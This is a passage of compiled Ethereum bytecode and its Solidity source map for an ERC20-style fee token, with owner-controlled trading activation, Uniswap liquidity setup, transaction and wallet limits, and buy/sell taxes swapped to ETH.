d60e51b8152600401610447906117e8565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104c45760405162461bcd60e51b8152600401610447906117e8565b600019600e819055600f8190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b6000610389338484610a3c565b6000546001600160a01b0316331461053d5760405162461bcd60e51b8152600401610447906117e8565b601354600160a01b900460ff16156105915760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610447565b6013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146105d45760405162461bcd60e51b8152600401610447906117e8565b601354600160a01b900460ff16156106285760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610447565b30600081815260016020526040902054601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155909161066f91600019610917565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e6919061181d565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610748573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076c919061181d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107dd919061181d565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730846000803360405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610871573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610896919061183a565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156108ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109139190611868565b5050565b6001600160a01b0383166109795760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610447565b6001600160a01b0382166109da5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610447565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610aa05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610447565b6001600160a01b038216610b025760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610447565b60008111610b645760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610447565b601354600160a01b900460ff16610bf9576001600160a01b03831660009081526003602052604090205460ff1680610bb457506001600160a01b03821660009081526003602052604090205460ff165b610bf95760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610447565b601354600160b01b900460ff161580610c1b5750601354600160a81b900460ff165b15610cc6576001600160a01b038316600090815260016020526040902054610c439082611175565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610c7290826111be565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a2f9085815260200190565b6000546001600160a01b03848116911614801590610cf257506000546001600160a01b03838116911614155b15610ff35760055460ff1615610ddc576012546001600160a01b03838116911614801590610d2e57506013546001600160a01b03838116911614155b15610ddc57326000908152600460205260409020544311610dc95760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610447565b3260009081526004602052604090204390555b6013546001600160a01b038481169116148015610e0757506012546001600160a01b03838116911614155b8015610e2c57506001600160a01b03821660009081526003602052604090205460ff16155b15610f1457600e54811115610e835760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610447565b600f5481610ea6846001600160a01b031660009081526001602052604090205490565b610eb0919061188a565b1115610efe5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610447565b600d8054906000610f0e8361189d565b91905055505b30600090815260016020526040902054601354600160a81b900460ff16158015610f4b57506013546001600160a01b038481169116145b8015610f605750601354600160b01b900460ff165b8015610f6f5750600c54600d54115b8015610f9457506001600160a01b03841660009081526003602052604090205460ff16155b8015610fb957506001600160a01b03831660009081526003602052604090205460ff16155b15610ff157601054811115610fe557610fe5610fe083610fdb8460115461121d565b61121d565b611232565b47610fef476113ac565b505b505b6000806110018585856113ea565b9092509050811561107157306000908152600160205260408120805484929061102b90849061188a565b909155505060405182815230906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b6001600160a01b0385166000908152600160205260409020546110949082611175565b6001600160a01b0386166000908152600160205260409020556110d96110ba8484611175565b6001600160a01b038616600090815260016020526040902054906111be565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111238686611175565b60405190815260200160405180910390a35050505050565b6000818484111561115f5760405162461bcd60e51b8152600401610447919061159f565b50600061116c84866118b6565b95945050505050565b60006111b783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061113b565b9392505050565b6000806111cb838561188a565b9050838110156111b75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610447565b600081831161122c57826111b7565b50919050565b6013805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061127a5761127a6118c9565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112f7919061181d565b8160018151811061130a5761130a6118c9565b6001600160a01b0392831660209182029290920101526012546113309130911684610917565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113699085906000908690309042906004016118df565b600060405180830381600087803b15801561138357600080fd5b505af1158015611397573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6005546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015610913573d6000803e3d6000fd5b60008060008084905061141f6064611419600a54600d541161140e57600654611412565b6008545b88906114b2565b90611534565b6013549092506001600160a01b03878116911614801561144857506001600160a01b0387163014155b15611475576114726064611419600b54600d541161146857600754611412565b60095488906114b2565b91505b6001600160a01b03871660009081526003602052604090205460ff16156114a6576008546114a390836114b2565b90505b90969095509350505050565b6000826000036114c45750600061038d565b60006114d083856117d1565b9050826114dd8583611950565b146111b75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610447565b60006111b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836115925760405162461bcd60e51b8152600401610447919061159f565b50600061116c8486611950565b600060208083528351808285015260005b818110156115cc578581018301518582016040015282016115b0565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461160257600080fd5b50565b6000806040838503121561161857600080fd5b8235611623816115ed565b946020939093013593505050565b60008060006060848603121561164657600080fd5b8335611651816115ed565b92506020840135611661816115ed565b929592945050506040919091013590565b60006020828403121561168457600080fd5b81356111b7816115ed565b600080604083850312156116a257600080fd5b82356116ad816115ed565b915060208301356116bd816115ed565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117195781600019048211156116ff576116ff6116c8565b8085161561170c57918102915b93841c93908002906116e3565b509250929050565b6000826117305750600161038d565b8161173d5750600061038d565b8160018114611753576002811461175d57611779565b600191505061038d565b60ff84111561176e5761176e6116c8565b50506001821b61038d565b5060208310610133831016604e8410600b841016171561179c575081810a61038d565b6117a683836116de565b80600019048211156117ba576117ba6116c8565b029392505050565b60006111b760ff841683611721565b808202811582820484141761038d5761038d6116c8565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561182f57600080fd5b81516111b7816115ed565b60008060006060848603121561184f57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561187a57600080fd5b815180151581146111b757600080fd5b8082018082111561038d5761038d6116c8565b6000600182016118af576118af6116c8565b5060010190565b8181038181111561038d5761038d6116c8565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561192f5784516001600160a01b03168352938301939183019160010161190a565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261196d57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208fc9ddfa49e57ef41c9bd5918fb367708cbdc0b8da16426a3d1a90bc3fa22a5064736f6c63430008150033

4048:9575:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5967:83;;;;;;;;;;-1:-1:-1;6037:5:0;;;;;;;;;;;-1:-1:-1;;;6037:5:0;;;;5967:83;;;;6037:5;5967:83;:::i;:::-;;;;;;;;6836:186;;;;;;;;;;-1:-1:-1;6836:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6836:186:0;1023:187:1;5218:55:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5218:55:0;1215:177:1;6238:95:0;;;;;;;;;;;;;:::i;7028:446::-;;;;;;;;;;-1:-1:-1;7028:446:0;;;;;:::i;:::-;;:::i;6149:83::-;;;;;;;;;;-1:-1:-1;6149:83:0;;4841:1;2000:36:1;;1988:2;1973:18;6149:83:0;1858:184:1;6339:119:0;;;;;;;;;;-1:-1:-1;6339:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6432:18:0;6405:7;6432:18;;;:9;:18;;;;;;;6339:119;3085:148;;;;;;;;;;;;;:::i;:::-;;12321:174;;;;;;;;;;;;;:::i;5027:56::-;;;;;;;;;;;;;;;;2875:79;;;;;;;;;;-1:-1:-1;2913:7:0;2940:6;2875:79;;-1:-1:-1;;;;;2940:6:0;;;2445:51:1;;2433:2;2418:18;2875:79:0;2299:203:1;5090:58:0;;;;;;;;;;;;;;;;6464:192;;;;;;;;;;-1:-1:-1;6464:192:0;;;;;:::i;:::-;;:::i;5155:56::-;;;;;;;;;;;;;;;;4386:40;;;;;;;;;;-1:-1:-1;4386:40:0;;;;;;;;13418:167;;;;;;;;;;;;;:::i;6662:168::-;;;;;;;;;;-1:-1:-1;6662:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6795:18:0;;;6768:7;6795:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6662:168;12599:813;;;;;;;;;;;;;:::i;6836:186::-;6936:4;6953:39;522:10;6976:7;6985:6;6953:8;:39::i;:::-;-1:-1:-1;7010:4:0;6836:186;;;;;:::o;6238:95::-;6291:7;4897:15;4841:1;4897:2;:15;:::i;:::-;4884:28;;:10;:28;:::i;:::-;6311:14;;6238:95;:::o;7028:446::-;7160:4;7177:36;7187:6;7195:9;7206:6;7177:9;:36::i;:::-;7224:220;7247:6;522:10;7295:138;7351:6;7295:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7295:19:0;;;;;;:11;:19;;;;;;;;522:10;7295:33;;;;;;;;;;:37;:138::i;:::-;7224:8;:220::i;:::-;-1:-1:-1;7462:4:0;7028:446;;;;;:::o;3085:148::-;3000:6;;-1:-1:-1;;;;;3000:6:0;522:10;3000:22;2992:67;;;;-1:-1:-1;;;2992:67:0;;;;;;;:::i;:::-;;;;;;;;;3192:1:::1;3176:6:::0;;3155:40:::1;::::0;-1:-1:-1;;;;;3176:6:0;;::::1;::::0;3155:40:::1;::::0;3192:1;;3155:40:::1;3223:1;3206:19:::0;;-1:-1:-1;;;;;;3206:19:0::1;::::0;;3085:148::o;12321:174::-;3000:6;;-1:-1:-1;;;;;3000:6:0;522:10;3000:22;2992:67;;;;-1:-1:-1;;;2992:67:0;;;;;;;:::i;:::-;-1:-1:-1;;12375:12:0::1;:26:::0;;;12412:14:::1;:28:::0;;;12456:31:::1;::::0;1361:25:1;;;12456:31:0::1;::::0;1349:2:1;1334:18;12456:31:0::1;;;;;;;12321:174::o:0;6464:192::-;6567:4;6584:42;522:10;6608:9;6619:6;6584:9;:42::i;13418:167::-;3000:6;;-1:-1:-1;;;;;3000:6:0;522:10;3000:22;2992:67;;;;-1:-1:-1;;;2992:67:0;;;;;;;:::i;:::-;13480:11:::1;::::0;-1:-1:-1;;;13480:11:0;::::1;;;13479:12;13471:48;;;::::0;-1:-1:-1;;;13471:48:0;;5151:2:1;13471:48:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;-1:-1:-1;;;5209:18:1;;;5202:53;5272:18;;13471:48:0::1;4949:347:1::0;13471:48:0::1;13530:11;:18:::0;;-1:-1:-1;;;;13559:18:0;-1:-1:-1;;;13559:18:0;;;13418:167::o;12599:813::-;3000:6;;-1:-1:-1;;;;;3000:6:0;522:10;3000:22;2992:67;;;;-1:-1:-1;;;2992:67:0;;;;;;;:::i;:::-;12654:11:::1;::::0;-1:-1:-1;;;12654:11:0;::::1;;;12653:12;12645:48;;;::::0;-1:-1:-1;;;12645:48:0;;5151:2:1;12645:48:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;-1:-1:-1;;;5209:18:1;;;5202:53;5272:18;;12645:48:0::1;4949:347:1::0;12645:48:0::1;12744:4;12704:19;6432:18:::0;;;:9;:18;;;;;;12761:15:::1;:104:::0;;-1:-1:-1;;;;;;12761:104:0::1;12812:42;12761:104:::0;;::::1;::::0;;;6432:18;;12876:62:::1;::::0;-1:-1:-1;;12876:8:0::1;:62::i;:::-;12983:15;;;;;;;;;-1:-1:-1::0;;;;;12983:15:0::1;-1:-1:-1::0;;;;;12983:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12965:55:0::1;;13043:4;13063:15;;;;;;;;;-1:-1:-1::0;;;;;13063:15:0::1;-1:-1:-1::0;;;;;13063:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12965:131;::::0;-1:-1:-1;;;;;;12965:131:0::1;::::0;;;;;;-1:-1:-1;;;;;5787:15:1;;;12965:131:0::1;::::0;::::1;5769:34:1::0;5839:15;;5819:18;;;5812:43;5704:18;;12965:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12949:13;:147:::0;;-1:-1:-1;;;;;;12949:147:0::1;-1:-1:-1::0;;;;;12949:147:0;;::::1;;::::0;;13107:15:::1;::::0;::::1;:31;13146:21;13191:4;13211:11:::0;-1:-1:-1;;522:10:0;13107:215:::1;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13107:215:0;;;-1:-1:-1;;;;;6225:15:1;;;13107:215:0::1;::::0;::::1;6207:34:1::0;6257:18;;;6250:34;;;;6300:18;;;6293:34;;;;6343:18;;;6336:34;6407:15;;;6386:19;;;6379:44;13296:15:0::1;6439:19:1::0;;;6432:35;6141:19;;13107:215:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13340:13:0::1;::::0;13371:15:::1;::::0;13333:71:::1;::::0;-1:-1:-1;;;13333:71:0;;-1:-1:-1;;;;;13371:15:0;;::::1;13333:71;::::0;::::1;6963:51:1::0;-1:-1:-1;;7030:18:1;;;7023:34;13340:13:0;::::1;::::0;-1:-1:-1;13333:29:0::1;::::0;6936:18:1;;13333:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;12634:778;12599:813::o:0;7480:335::-;-1:-1:-1;;;;;7573:19:0;;7565:68;;;;-1:-1:-1;;;7565:68:0;;7552:2:1;7565:68:0;;;7534:21:1;7591:2;7571:18;;;7564:30;7630:34;7610:18;;;7603:62;-1:-1:-1;;;7681:18:1;;;7674:34;7725:19;;7565:68:0;7350:400:1;7565:68:0;-1:-1:-1;;;;;7652:21:0;;7644:68;;;;-1:-1:-1;;;7644:68:0;;7957:2:1;7644:68:0;;;7939:21:1;7996:2;7976:18;;;7969:30;8035:34;8015:18;;;8008:62;-1:-1:-1;;;8086:18:1;;;8079:32;8128:19;;7644:68:0;7755:398:1;7644:68:0;-1:-1:-1;;;;;7723:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7775:32;;1361:25:1;;;7775:32:0;;1334:18:1;7775:32:0;;;;;;;;7480:335;;;:::o;7821:3028::-;-1:-1:-1;;;;;7909:18:0;;7901:68;;;;-1:-1:-1;;;7901:68:0;;8360:2:1;7901:68:0;;;8342:21:1;8399:2;8379:18;;;8372:30;8438:34;8418:18;;;8411:62;-1:-1:-1;;;8489:18:1;;;8482:35;8534:19;;7901:68:0;8158:401:1;7901:68:0;-1:-1:-1;;;;;7988:16:0;;7980:64;;;;-1:-1:-1;;;7980:64:0;;8766:2:1;7980:64:0;;;8748:21:1;8805:2;8785:18;;;8778:30;8844:34;8824:18;;;8817:62;-1:-1:-1;;;8895:18:1;;;8888:33;8938:19;;7980:64:0;8564:399:1;7980:64:0;8072:1;8063:6;:10;8055:64;;;;-1:-1:-1;;;8055:64:0;;9170:2:1;8055:64:0;;;9152:21:1;9209:2;9189:18;;;9182:30;9248:34;9228:18;;;9221:62;-1:-1:-1;;;9299:18:1;;;9292:39;9348:19;;8055:64:0;8968:405:1;8055:64:0;8135:11;;-1:-1:-1;;;8135:11:0;;;;8130:179;;-1:-1:-1;;;;;8189:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;8217:22:0;;;;;;:18;:22;;;;;;;;8189:50;8163:134;;;;-1:-1:-1;;;8163:134:0;;9580:2:1;8163:134:0;;;9562:21:1;9619:2;9599:18;;;9592:30;-1:-1:-1;;;9638:18:1;;;9631:52;9700:18;;8163:134:0;9378:346:1;8163:134:0;8324:11;;-1:-1:-1;;;8324:11:0;;;;8323:12;;:22;;-1:-1:-1;8339:6:0;;-1:-1:-1;;;8339:6:0;;;;8323:22;8319:223;;;-1:-1:-1;;;;;8380:15:0;;;;;;:9;:15;;;;;;:27;;8400:6;8380:19;:27::i;:::-;-1:-1:-1;;;;;8362:15:0;;;;;;;:9;:15;;;;;;:45;;;;8438:13;;;;;;;:25;;8456:6;8438:17;:25::i;:::-;-1:-1:-1;;;;;8422:13:0;;;;;;;:9;:13;;;;;;;:41;;;;8483:26;;;;;;;;;;8502:6;1361:25:1;;1349:2;1334:18;;1215:177;8319:223:0;2913:7;2940:6;-1:-1:-1;;;;;8556:15:0;;;2940:6;;8556:15;;;;:32;;-1:-1:-1;2913:7:0;2940:6;-1:-1:-1;;;;;8575:13:0;;;2940:6;;8575:13;;8556:32;8552:1831;;;8609:20;;;;8605:522;;;8690:15;;-1:-1:-1;;;;;8676:30:0;;;8690:15;;8676:30;;;;:83;;-1:-1:-1;8745:13:0;;-1:-1:-1;;;;;8731:28:0;;;8745:13;;8731:28;;8676:83;8650:462;;;8865:9;8836:39;;;;:28;:39;;;;;;8878:12;-1:-1:-1;8802:213:0;;;;-1:-1:-1;;;8802:213:0;;9931:2:1;8802:213:0;;;9913:21:1;9970:2;9950:18;;;9943:30;10009:34;9989:18;;;9982:62;10080:34;10060:18;;;10053:62;-1:-1:-1;;;10131:19:1;;;10124:40;10181:19;;8802:213:0;9729:477:1;8802:213:0;9067:9;9038:39;;;;:28;:39;;;;;9080:12;9038:54;;8650:462;9171:13;;-1:-1:-1;;;;;9163:21:0;;;9171:13;;9163:21;:72;;;;-1:-1:-1;9219:15:0;;-1:-1:-1;;;;;9205:30:0;;;9219:15;;9205:30;;9163:72;:116;;;;-1:-1:-1;;;;;;9257:22:0;;;;;;:18;:22;;;;;;;;9256:23;9163:116;9141:438;;;9332:12;;9322:6;:22;;9314:60;;;;-1:-1:-1;;;9314:60:0;;10413:2:1;9314:60:0;;;10395:21:1;10452:2;10432:18;;;10425:30;10491:27;10471:18;;;10464:55;10536:18;;9314:60:0;10211:349:1;9314:60:0;9449:14;;9439:6;9423:13;9433:2;-1:-1:-1;;;;;6432:18:0;6405:7;6432:18;;;:9;:18;;;;;;;6339:119;9423:13;:22;;;;:::i;:::-;:40;;9393:140;;;;-1:-1:-1;;;9393:140:0;;10897:2:1;9393:140:0;;;10879:21:1;10936:2;10916:18;;;10909:30;10975:28;10955:18;;;10948:56;11021:18;;9393:140:0;10695:350:1;9393:140:0;9552:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9141:438;9642:4;9593:28;6432:18;;;:9;:18;;;;;;9686:6;;-1:-1:-1;;;9686:6:0;;;;9685:7;:47;;;;-1:-1:-1;9719:13:0;;-1:-1:-1;;;;;9713:19:0;;;9719:13;;9713:19;9685:47;:79;;;;-1:-1:-1;9753:11:0;;-1:-1:-1;;;9753:11:0;;;;9685:79;:130;;;;;9797:18;;9785:9;;:30;9685:130;:176;;;;-1:-1:-1;;;;;;9837:24:0;;;;;;:18;:24;;;;;;;;9836:25;9685:176;:220;;;;-1:-1:-1;;;;;;9883:22:0;;;;;;:18;:22;;;;;;;;9882:23;9685:220;9663:709;;;9966:17;;9943:20;:40;9940:205;;;10008:117;10051:51;10055:6;10063:38;10067:20;10089:11;;10063:3;:38::i;:::-;10051:3;:51::i;:::-;10008:16;:117::i;:::-;10210:21;10302:35;10315:21;10302:12;:35::i;:::-;9921:451;9663:709;8590:1793;8552:1831;10408:17;10440:19;10473:30;10486:4;10492:2;10496:6;10473:12;:30::i;:::-;10393:110;;-1:-1:-1;10393:110:0;-1:-1:-1;10518:13:0;;10514:143;;10566:4;10548:24;;;;:9;:24;;;;;:37;;10576:9;;10548:24;:37;;10576:9;;10548:37;:::i;:::-;;;;-1:-1:-1;;10605:40:0;;1361:25:1;;;10628:4:0;;-1:-1:-1;;;;;10605:40:0;;;;;1349:2:1;1334:18;10605:40:0;;;;;;;10514:143;-1:-1:-1;;;;;10685:15:0;;;;;;:9;:15;;;;;;:32;;10705:11;10685:19;:32::i;:::-;-1:-1:-1;;;;;10667:15:0;;;;;;:9;:15;;;;;:50;10744:40;10762:21;:6;10773:9;10762:10;:21::i;:::-;-1:-1:-1;;;;;10744:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10728:13:0;;;;;;;:9;:13;;;;;:56;;;;10800:41;;;10819:21;:6;10830:9;10819:10;:21::i;:::-;10800:41;;1361:25:1;;;1349:2;1334:18;10800:41:0;;;;;;;7890:2959;;7821:3028;;;:::o;1689:224::-;1809:7;1845:12;1837:6;;;;1829:29;;;;-1:-1:-1;;;1829:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1869:9:0;1881:5;1885:1;1881;:5;:::i;:::-;1869:17;1689:224;-1:-1:-1;;;;;1689:224:0:o;1547:136::-;1605:7;1632:43;1636:1;1639;1632:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1625:50;1547:136;-1:-1:-1;;;1547:136:0:o;1362:179::-;1420:7;;1452:5;1456:1;1452;:5;:::i;:::-;1440:17;;1481:1;1476;:6;;1468:46;;;;-1:-1:-1;;;1468:46:0;;11525:2:1;1468:46:0;;;11507:21:1;11564:2;11544:18;;;11537:30;11603:29;11583:18;;;11576:57;11650:18;;1468:46:0;11323:351:1;11719:107:0;11776:7;11808:1;11804;:5;11803:15;;11817:1;11803:15;;;-1:-1:-1;11813:1:0;11719:107;-1:-1:-1;11719:107:0:o;11832:483::-;5553:6;:13;;-1:-1:-1;;;;5553:13:0;-1:-1:-1;;;5553:13:0;;;11934:16:::1;::::0;;11948:1:::1;11934:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11934:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11934:16:0::1;11910:40;;11979:4;11961;11966:1;11961:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11961:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12005:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12005:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11961:7;;12005:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11995:4;12000:1;11995:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11995:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12070:15:::1;::::0;12038:62:::1;::::0;12055:4:::1;::::0;12070:15:::1;12088:11:::0;12038:8:::1;:62::i;:::-;12111:15;::::0;:196:::1;::::0;-1:-1:-1;;;12111:196:0;;-1:-1:-1;;;;;12111:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12192:11;;12111:15:::1;::::0;12234:4;;12261::::1;::::0;12281:15:::1;::::0;12111:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5589:6:0;:14;;-1:-1:-1;;;;5589:14:0;;;-1:-1:-1;;;;11832:483:0:o;12501:92::-;12558:10;;:27;;:10;;;;-1:-1:-1;;;;;12558:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;10855:858;10976:7;10985;11005:17;11037:19;11059:6;11037:28;;11088:184;11268:3;11088:161;11144:15;;11132:9;;:27;11131:103;;11220:14;;11131:103;;;11184:12;;11131:103;11088:6;;:24;:161::i;:::-;:179;;:184::i;:::-;11293:13;;11076:196;;-1:-1:-1;;;;;;11287:19:0;;;11293:13;;11287:19;:44;;;;-1:-1:-1;;;;;;11310:21:0;;11326:4;11310:21;;11287:44;11283:300;;;11360:211;11567:3;11360:184;11424:16;;11412:9;;:28;11411:114;;11510:15;;11411:114;;;11469:13;;11360:6;;:28;:184::i;:211::-;11348:223;;11283:300;-1:-1:-1;;;;;11596:24:0;;;;;;:18;:24;;;;;;;;11593:70;;;11636:12;;:27;;11653:9;11636:16;:27::i;:::-;11622:41;;11593:70;11682:9;;;;-1:-1:-1;10855:858:0;-1:-1:-1;;;;10855:858:0:o;1919:246::-;1977:7;2001:1;2006;2001:6;1997:47;;-1:-1:-1;2031:1:0;2024:8;;1997:47;2054:9;2066:5;2070:1;2066;:5;:::i;:::-;2054:17;-1:-1:-1;2099:1:0;2090:5;2094:1;2054:17;2090:5;:::i;:::-;:10;2082:56;;;;-1:-1:-1;;;2082:56:0;;13352:2:1;2082:56:0;;;13334:21:1;13391:2;13371:18;;;13364:30;13430:34;13410:18;;;13403:62;-1:-1:-1;;;13481:18:1;;;13474:31;13522:19;;2082:56:0;13150:397:1;2171:132:0;2229:7;2256:39;2260:1;2263;2256:39;;;;;;;;;;;;;;;;;2429:7;2464:12;2457:5;2449:28;;;;-1:-1:-1;;;2449:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2488:9:0;2500:5;2504:1;2500;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;